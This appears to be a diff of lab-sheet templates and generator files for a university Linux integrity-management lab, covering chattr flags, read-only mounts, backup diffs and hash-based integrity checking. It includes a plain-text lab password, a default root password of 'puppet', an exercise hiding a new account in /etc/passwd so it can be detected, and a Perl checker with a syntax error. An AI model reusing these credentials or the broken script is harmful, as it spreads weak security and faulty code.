+Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
+
+You won't login to the hackerbot_server, but the VM needs to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
+2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
+
+## Meet Hackerbot!
+![small-right](images/skullandusb.svg)
+
+This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you.
+
+**On the desktop VM:**
+
+==Open Pidgin and send some messages to Hackerbot:==
+
+- Try asking Hackerbot some questions
+- Send "help"
+- Send "list"
+- Send "hello"
+
+Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted.
+
+---
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on.
+
+> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of unauthorised changes.

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb

@@ -0,0 +1,114 @@
+<html>
+<head>
+	<title><%= self.title %></title>
+</head>
+<body>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="stylesheet" href="css/github-markdown.css">
+<style>
+	.markdown-body {
+		box-sizing: border-box;
+		min-width: 200px;
+		max-width: 980px;
+		margin: 0 auto;
+		padding: 45px;
+	}
+	.markdown-body h4[id^='hackerbot']:after {
+		display: inline-block;
+		float: right;
+		content: url("images/skullandusb.svg");
+		width: 30px;
+	}
+	article {
+		float: right;
+		width: calc(100% - 300px);
+	}
+	.toc {
+		float: left;
+		font-size: smaller;
+		color: #1a1d22;
+		width: 300px;
+		position: fixed;
+		height: calc(100% - 56px);
+		overflow-y: scroll;
+		font-family: sans-serif;
+		margin-top: 50px;
+	}
+	.toc ul {
+		list-style-type: none;
+		padding: 0;
+		margin-left: 1em;
+	}
+	.toc li { /* Space between menu items*/
+		margin: 1em 0;
+	}
+	.toc a {
+		color: #1a1d22;
+		text-decoration: none;
+	}
+	.toc a:hover {
+		color: #6c036d;
+		text-decoration: none;
+	}
+	.toc a:visited {
+		color: #1a1d22;
+		text-decoration: none;
+	}
+	.markdown-body pre, .markdown-body code {
+		background-color: #570138;
+		color: whitesmoke;
+	}
+	.markdown-body img[alt="small-left"] {
+		max-width: 100px;
+		float: left;
+	}
+	.markdown-body img[alt="small-right"] {
+		max-width: 100px;
+		float: right;
+	}
+	.markdown-body img[alt="tiny-right"] {
+		max-width: 30px;
+		float: right;
+	}
+	.markdown-body img[alt="small"] {
+		max-width: 100px;
+		display: block;
+		margin-left: auto;
+		margin-right: auto;
+		padding: 15px;
+	}
+	mark {
+		background-color: white;
+		color: #5b29bd;
+		font-weight: bold;
+	}
+	@media (max-width: 767px) {
+		.markdown-body {
+			padding: 15px;
+			min-width: 200px;
+			max-width: 980px;
+    }
+		.toc {
+			float: none;
+			width: 100%;
+      position: relative;
+			overflow: auto;
+			height: auto;
+		}
+		article {
+			float: none;
+			width: 100%;
+		}
+
+	}
+</style>
+<div class="toc">
+	<%= self.html_TOC_rendered %>
+</div>
+
+<article class="markdown-body">
+	<%= self.html_rendered %>
+</article>
+<script src="js/code-prettify/loader/run_prettify.js?autoload=true&amp;skin=sunburst&amp;lang=css"></script>
+</body>
+</html>

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb

@@ -0,0 +1,6 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
+
+![small](images/leedsbeckett-logo.png)

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb

@@ -0,0 +1,5 @@
+## Resources
+
+An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003).
+
+Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/)

modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb

@@ -0,0 +1,80 @@
+### Protecting integrity with read-only filesystems
+#### Getting to know read-only mounting
+On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do).
+
+In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only.
+
+In a command prompt, ==run:==
+
+```bash
+mount
+```
+> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents.
+
+Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point.
+
+List the contents of the /etc/ directory so you are familiar with its contents:
+
+```bash
+ls /etc/
+```
+Create a new directory to be the mount point. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/etc
+```
+==Mount the /etc/ directory to the new mount point:==
+
+```bash
+sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/
+```
+Make sure the /etc/ directory is accessible via the home-etc directory mount point:
+
+```bash
+ls /home/<%= $main_user %>/etc/
+```
+Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile1
+```
+Check that a new file has been created using the following commands:
+
+```bash
+ls -l /home/<%= $main_user %>/etc/newfile1
+```
+
+```bash
+ls -l /etc/newfile1
+```
+
+We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point.
+
+```bash
+sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/
+```
+==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile2
+```
+
+This should prevent changes being accidentally being made to important configuration files in the /etc/ directory.
+
+
+We can ==remount a directory as read-only to itself==:
+
+```bash
+sudo mount -o bind <%= $example_dir %> <%= $example_dir %>
+sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %>
+```
+
+Now even the owner of the directory (you), can't make changes. ==Try:==
+
+```bash
+cat > <%= $example_dir %>new_file
+```
+
+Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network.
+
+> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share).

modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb

@@ -0,0 +1,19 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
+
+class Integrity1 < HackerbotConfigGenerator
+
+  def initialize
+    super
+    self.module_name = 'Hackerbot Config Generator Integrity'
+    self.title = 'Integrity management: protecting integrity'
+
+    self.local_dir = File.expand_path('../../',__FILE__)
+    self.templates_path = "#{self.local_dir}/templates/"
+    self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+    self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+  end
+
+end
+
+Integrity1.new.run

modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml

@@ -0,0 +1,57 @@
+<?xml version="1.0"?>
+
+<generator xmlns="http://www.github/cliffe/SecGen/generator"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/generator">
+  <name>Hackerbot config for a protecting integrity lab</name>
+  <author>Z. Cliffe Schreuders</author>
+  <module_license>GPLv3</module_license>
+  <description>Generates a config file for a hackerbot for an integrity lab.
+    Topics covered: Protecting integrity with file attributes;
+    Protecting integrity with read-only filesystems.</description>
+
+  <type>hackerbot_config</type>
+  <platform>linux</platform>
+
+  <read_fact>accounts</read_fact>
+  <read_fact>flags</read_fact>
+  <read_fact>root_password</read_fact>
+
+  <!--TODO: require input, such as accounts, or fail?-->
+
+  <default_input into="accounts">
+    <generator type="account">
+      <input into="username">
+        <value>vagrant</value>
+      </input>
+    </generator>
+  </default_input>
+
+  <default_input into="flags">
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+    <generator type="flag_generator"/>
+  </default_input>
+
+  <default_input into="root_password">
+    <value>puppet</value>
+  </default_input>
+
+  <output_type>hackerbot</output_type>
+
+</generator>

modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb

@@ -0,0 +1,29 @@
+<html>
+<head>
+	<title><%= self.title %></title>
+</head>
+<body>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="stylesheet" href="css/github-markdown.css">
+<style>
+	.markdown-body {
+		box-sizing: border-box;
+		min-width: 200px;
+		max-width: 980px;
+		margin: 0 auto;
+		padding: 45px;
+	}
+	@media (max-width: 767px) {
+		.markdown-body {
+			padding: 15px;
+		}
+	}
+</style>
+<article class="markdown-body">
+
+	<%= self.html_rendered %>
+
+</article>
+<script src="js/code-prettify/loader/run_prettify.js"></script>
+</body>
+</html>

modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb

@@ -0,0 +1,4 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb

@@ -0,0 +1,3 @@
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb

@@ -0,0 +1,87 @@
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ.
+
+Make a directory to store your backups. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/backups/
+```
+
+==Make a backup copy of your /etc/passwd file:==
+
+```bash
+cp /etc/passwd /home/<%= $main_user %>/backups/
+```
+
+This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes.
+
+==Add a new user== to your computer...
+
+```bash
+sudo useradd new-username
+```
+> Where ==*new-username*==, is some new name.
+
+To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious:
+
+```bash
+sudo vi /etc/passwd
+```
+> Move the cursor onto the line representing your new account (probably at the bottom).
+>
+> In vi type:
+> :m *-==number==*
+>
+> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Look at the changes in your accounts made on your computer, and try to spot the new user account:
+
+```bash
+less /etc/passwd
+```
+> (q to exit)
+
+It's not as easy as it sounds, especially if your system has lots of user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command.
+
+==Run:==
+
+```bash
+diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code:
+
+```bash
+diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+
+The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup.
+
+Make a backup of your personal_secrets. ==Run:==
+
+```bash
+cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal
+```
+> The -r tells cp to copy directories and their contents recursively (including sub-directories)
+
+==Make a change to a file== in <%= $example_dir %>
+
+Then ==compare using diff:==
+
+```bash
+diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/
+```
+> -r instructs diff to do a recursive comparison (searching through sub-directories)
+> You can add *--suppress-common-lines* to reduce the amount of output
+
+There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit.
+
+> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb

@@ -0,0 +1,69 @@
+### Protecting integrity with file attributes
+#### Getting to know file attributes
+Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files.
+
+[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways.
+
+==Run:==
+
+```bash
+lsattr <%= $example_file %>
+```
+``
+ -------------e- <%= $example_file %>
+``
+
+The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do:
+
+```bash
+man chattr
+```
+> (Press q to leave the manual page)
+
+==Set the 'i' flag== using the chattr command:
+
+```bash
+sudo chattr +i <%= $example_file %>
+```
+
+Now ==try to delete the file== and see what happens:
+
+```bash
+rm <%= $example_file %>
+```
+Denied!
+
+==Use root permissions== to try to delete the file:
+
+```bash
+sudo rm <%= $example_file %>
+```
+
+It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first.
+
+==Use some commands to remove the 'i' flag==
+> Hint: '-i', instead of '+i'.
+
+Now run a command to ==set the 'a' flag on <%= $example_file %>.==
+
+If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:==
+
+```bash
+sudo bash -c 'echo "test message" > <%= $example_file %>'
+```
+> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+```bash
+sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>'
+```
+> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'.
+
+==View your changes== at the end of the file:
+
+```bash
+tail <%= $example_file %>
+```
+
+This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb

@@ -0,0 +1,89 @@
+### Protecting integrity with file permissions
+#### Getting to know file permissions
+
+File permissions enable users to control the access that other users have to their files.
+
+We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions.
+
+Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole).
+
+Start by creating a file with some content.
+
+==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+> The output is sent to the file /home/<%= $main_user %>/example
+>
+> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name.
+
+You can read the content:
+
+```bash
+cat /home/<%= $main_user %>/example
+```
+
+Or replace the content:
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--").
+
+By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files.
+
+You can remove the ability of *anyone* changing the content. ==Run:==
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+```
+> -w means "remove write access (for everyone)"
+
+Try changing the content. ==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+
+You can't.
+
+You can remove the ability of **everyone else** changing the content. ==Run:==
+
+```bash
+chmod u+w,o-rw /home/<%= $main_user %>/example
+```
+> u+w: user who owns the file, add write access
+> o-rw: others, remove read and write access
+
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+Note that **the root user can access any files**, regardless of file permissions.
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+sudo cat /home/<%= $main_user %>/example
+```
+> Enter your password, and note that as root you can access the file regardless of permissions.
+
+"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges.
+
+Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb

@@ -0,0 +1,125 @@
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons.
+
+Hashes have security properties that enable this use:
+
+-   Each hash is unique to the input
+-   It is extremely difficult (practically impossible) to find another input that produces the same hash output
+-   Any change to the input (no matter how minor) changes the output hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence.
+
+==Generate an MD5 hash== of your backup password file, which you copied previously:
+
+```bash
+md5sum /home/<%= $main_user %>/backups/passwd
+```
+
+Now ==calculate a hash== of your current passwd file:
+
+```bash
+md5sum /etc/passwd
+```
+
+If the generated hashes are different, you know the files do not have **exactly the same content**.
+
+Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one.
+
+==Repeat the above two commands using shasum== rather than md5sum.
+
+SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes.
+
+==Run the following== to generate a file containing hashes of files we can later check against:
+
+```bash
+mkdir /home/<%= $main_user %>/hashes/
+
+shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha
+sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Look at the contents== of our new hashes file:
+
+```bash
+less /home/<%= $main_user %>/hashes/hash.sha
+```
+> Press q to quit when done
+
+Now use your new hash list to ==check that nothing has changed== since we generated the hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Lab book question: Why does shasum fail to check the integrity of the shadow file?==
+
+==Make a change== to the end of <%= $example_file %>:
+
+```bash
+echo "hello" >> *your-name*
+```
+
+Check whether anything has changed since we generated hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+You should see a nice explanation of the files that have changed since generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a Perl script):
+	
+```perl
+  #!/usr/bin/perl
+  # Copyleft Z. Cliffe Schreuders
+  # Licenced under the terms of the GPLv3
+
+  use warnings;
+  use strict;
+
+  my %files_hashes = (
+    "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+    "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+    "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+  );
+
+  foreach my $file_entry (keys %files_hashes) {
+    my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`;
+    chomp($hash);
+    if($hash ne $files_hashes{$file_entry}){
+      warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n";
+    } else {
+      print "File unmodified: $file_entry (hash was $hash, as expected)\n";
+    }
+  }
+```
+
+This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same.
+
+==Save the script as checker.pl==
+> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl.
+>
+> Alternatively you can type:
+> "cat > checker.pl"
+> Paste with Ctrl-Shift-V.
+> Then, Ctrl-D, to end the input.
+
+Then ==run the script== with:
+
+```bash
+perl checker.pl
+```
+
+==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?==

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb

@@ -0,0 +1,53 @@
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages.
+
+==View the files containing MD5 hashes== stored for the packages on the system:
+```bash
+ls /var/lib/dpkg/info/*.md5sums
+```
+
+==View the contents== of one of the files.
+
+debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/).
+
+Verify all files installed by all packages:
+```bash
+sudo debsums -ac
+```
+> Ctrl-C to end the program early.
+> Options for debsum include:
+> -a also check config files
+> -e *only* check config files
+> -c only report *changed* files
+
+Verify the files installed by a specific package:
+```bash
+sudo debsums firefox
+```
+
+Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to:
+
+```bash
+dpkg-query -S *any-file-you-chose*
+```
+> Where ==any-file-you-chose== is any file such as /etc/securetty.
+
+The output of that command contains the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+```bash
+sudo debsums -a *package-name*
+```
+> Where package-name is the output from the previous command.
+
+Try to understand the cause of any files failing the integrity checks.
+
+==Workbook question: What are the limitations of this approach?==
+
+- What files will (and won't) this approach to integrity management cover?
+- Are the hashes protected against tampering?

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb

@@ -0,0 +1,124 @@
+#### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes.
+
+==Run:==
+
+```bash
+sudo sha1deep -r /etc/
+```
+> You can stop the program early by pressing Ctrl-C
+
+The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+```bash
+man sha1deep
+```
+> ==Figure out what the -r flag does.==
+>
+> (q to quit)
+
+We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration:
+
+```bash
+sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes
+```
+
+This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual content that we have hashed...
+
+See how big our list of hashes is:
+
+```bash
+ls -hs /home/<%= $main_user %>/hashes/etc_hashes
+```
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc/:
+
+```bash
+sudo du -hs /etc/
+```
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, **the list of hashes is much smaller**.
+
+Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test).
+> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'.
+
+Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!'
+
+Lets try to identify what has changed on our system...
+
+Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash previously generated:
+
+```bash
+sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc
+```
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+```bash
+sudo cp /etc/passwd /etc/passwd.backup
+```
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created.
+
+Generate a hash list for /etc using hashdeep:
+
+```bash
+sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+
+Hashdeep stores hashes in a different format than the previous tools. Have a look:
+
+```bash
+less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file size for each file.
+
+Delete the new file that you created earlier:
+
+```bash
+sudo rm /etc/*whatever-the-filename-was*
+```
+
+Conduct a hashdeep audit to detect any changes:
+
+```bash
+sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc
+```
+> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed:
+
+```bash
+sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc
+```
+
